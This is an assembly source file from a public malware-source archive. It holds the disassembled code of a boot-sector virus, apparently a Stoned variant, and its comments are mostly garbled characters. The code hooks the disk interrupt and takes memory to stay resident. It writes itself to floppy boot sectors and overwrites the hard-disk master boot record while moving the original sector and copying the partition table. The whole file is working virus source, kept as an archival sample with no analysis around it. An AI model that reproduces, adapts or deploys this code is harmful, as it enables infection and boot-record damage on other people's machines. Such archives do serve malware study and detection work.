mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
241 lines
5.6 KiB
NASM
241 lines
5.6 KiB
NASM
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jmp far ptr loc_2 ;*(07C0:0005)
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jmp loc_8 ; (00A1)
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data_27 db 0
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data_28 dd 0F000EC59h
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data_29 dd 9F8000E4h
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data_30 dd 07C00h
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;-----------------------------------------------------------------------------
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><> INT 13h
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;-----------------------------------------------------------------------------
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push ds
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push ax
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cmp ah,2 ; <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><>-<2D><><EFBFBD><EFBFBD><EFBFBD> <20><>
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jb loc_3 ; 2 <20><><EFBFBD> <20><>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
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cmp ah,4 ; <20><> 4 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> INT 13h
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jae loc_3
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or dl,dl ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> A ?
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jnz loc_3
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xor ax,ax ; Zero register
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mov ds,ax
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mov al,byte ptr ds:[43Fh] ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>
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test al,1 ; A <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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jnz loc_3 ; Jump if not zero
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call sub_1 ; <20><><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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loc_3:
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pop ax
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pop ds
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jmp cs:data_28 ; (6B8E:0009=0EC59h)
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;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; SUBROUTINE
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;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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sub_1 proc near
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push bx
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push cx
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push dx ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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push es
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push si
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push di
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mov si,4
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loc_4:
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mov ax,201h
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push cs
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pop es
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mov bx,200h
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xor cx,cx ; Zero register
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mov dx,cx
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inc cx
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pushf
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call cs:data_28 ; <20><><EFBFBD><EFBFBD> BOOT <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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jnc loc_5 ; Jump if carry=0
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xor ax,ax ; <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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pushf ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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call cs:data_28 ; (6B8E:0009=0EC59h)
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dec si
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jnz loc_4 ; <20><><EFBFBD><EFBFBD><EFBFBD> 4 <20><><EFBFBD><EFBFBD><EFBFBD>
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jmp short loc_7 ; <20><><EFBFBD><EFBFBD><EFBFBD>
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nop
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loc_5:
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xor si,si ; Zero register
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mov di,200h
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cld ; Clear direction
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push cs
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pop ds
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lodsw ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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cmp ax,[di] ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>
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jne loc_6
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lodsw
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cmp ax,[di+2]
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je loc_7 ; <20><><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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loc_6:
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mov ax,301h
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mov bx,200h ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> BOOT
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mov cl,3
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mov dh,1
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pushf
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call cs:data_28
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jc loc_7 ; Jump if carry Set
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mov ax,301h
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xor bx,bx ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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mov cl,1
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xor dx,dx
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pushf
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call cs:data_28
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loc_7:
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pop di
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pop si
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pop es ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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pop dx
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pop cx
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pop bx
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retn
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sub_1 endp
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loc_8:
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xor ax,ax ; Zero register
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mov ds,ax
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cli ; Disable interrupts
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mov ss,ax
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mov sp,7C00h
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sti ;
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mov ax,word ptr ds:[4Ch] ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> AX <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> INT 13H
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mov word ptr ds:[7C09h],ax ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 9h
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mov ax,word ptr ds:[4Eh] ; <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> INT 13H
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mov word ptr ds:[7C0Bh],ax ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Bh
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mov ax,word ptr ds:[413h] ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20> 1K
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dec ax
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dec ax
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mov word ptr ds:[413h],ax
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mov cl,6
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shl ax,cl
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mov es,ax ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> ES <20><><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
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mov word ptr ds:[7C0Fh],ax ; <20><> <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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mov ax,15h
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mov word ptr ds:[4Ch],ax ; INT 13H <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 15H <20><>
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mov word ptr ds:[4Eh],es ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>
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mov cx,1B8h
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push cs ;CS = 7C0h = DS
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pop ds
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xor si,si
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mov di,si
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cld
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rep movsb ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 1B8h <20><><EFBFBD><EFBFBD><EFBFBD>
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jmp cs:data_29 ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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mov ax,0
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int 13h ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
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xor ax,ax ; Zero register
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mov es,ax ; ES = AX = 00h
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mov ax,201h ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>
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mov bx,7C00h ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> BOOT
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cmp cs:data_27,0 ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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je loc_9 ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> Flopy disk
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mov cx,7
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mov dx,80h
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int 13h ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> BOOT
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jmp short loc_12 ; (014E)
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nop
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loc_9:
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mov cx,3
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mov dx,100h
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int 13h ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> BOOT
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jc loc_12 ; Jump if carry Set
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test byte ptr es:[46Ch],7 ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD>
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jnz loc_11 ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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mov si,189h ;
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push cs
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pop ds
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loc_10:
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lodsb ; <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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or al,al
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jz loc_11 ; <20><><EFBFBD> <20><> <20> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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mov ah,0Eh
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mov bh,0
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int 10h ; Video display ah=functn 0Eh
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; write char al, teletype mode
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jmp short loc_10 ; (011D)
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loc_11:
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push cs
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pop es
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mov ax,201h ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><> <20><><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>
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mov bx,200h ; <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>
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mov cl,1 ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 200h
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mov dx,80h
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int 13h ; Disk dl=drive #: ah=func a2h
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; read sectors to memory es:bx
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jc loc_12 ; <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ? -> <20><><EFBFBD><EFBFBD><EFBFBD>
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push cs
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pop ds
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mov si,200h
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mov di,0
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lodsw ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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cmp ax,[di] ; <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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jne loc_13 ; <20><><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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lodsw
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cmp ax,[di+2]
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jne loc_13
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loc_12:
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mov cs:data_27,0 ; (6B8E:0008=0)
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jmp cs:data_30 ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> BOOT
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loc_13:
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mov cs:data_27,2 ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>
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mov ax,301h
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mov bx,200h ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> BOOT <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 7
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mov cx,7 ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 0
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mov dx,80h
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int 13h
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jc loc_12 ; <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> BOOT
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push cs
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pop ds
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push cs
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pop es
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mov si,3BEh ; <20><><EFBFBD><EFBFBD><EFBFBD> partition table
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mov di,1BEh
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mov cx,242h
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rep movsb ; Rep when cx >0 Mov [si] to es:[di]
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mov ax,301h
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xor bx,bx ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
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inc cl
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int 13h ; Disk dl=drive #: ah=func a3h
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; write sectors from mem es:bx
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jmp short loc_12 ; <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> BOOT
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;------------------------------------------------------------------------------------------
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; <09><> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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;------------------------------------------------------------------------------------------
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pop es
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pop cx
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db 6Fh
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jnz $+74h ; Jump if not zero
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and [bx+si+43h],dl
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and [bx+di+73h],ch
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and [bp+6Fh],ch
|
|||
|
|
ja $+22h ; Jump if above
|
|||
|
|
push bx
|
|||
|
|
jz $+71h ; Jump if zero
|
|||
|
|
db 6Eh
|
|||
|
|
db 65h
|
|||
|
|
db 64h
|
|||
|
|
and [bx],ax
|
|||
|
|
or ax,0A0Ah
|
|||
|
|
add [si+45h],cl
|
|||
|
|
inc di
|
|||
|
|
inc cx
|
|||
|
|
dec sp
|
|||
|
|
dec cx
|
|||
|
|
push bx
|
|||
|
|
inc bp
|
|||
|
|
xor al,[bx+di]
|
|||
|
|
add al,32h ; '2'
|
|||
|
|
add word ptr ds:[0B00h][bx+si],ax ; (6B7E:0B00=0)
|
|||
|
|
add ax,132h
|
|||
|
|
db 72 dup (0)
|
|||
|
|
|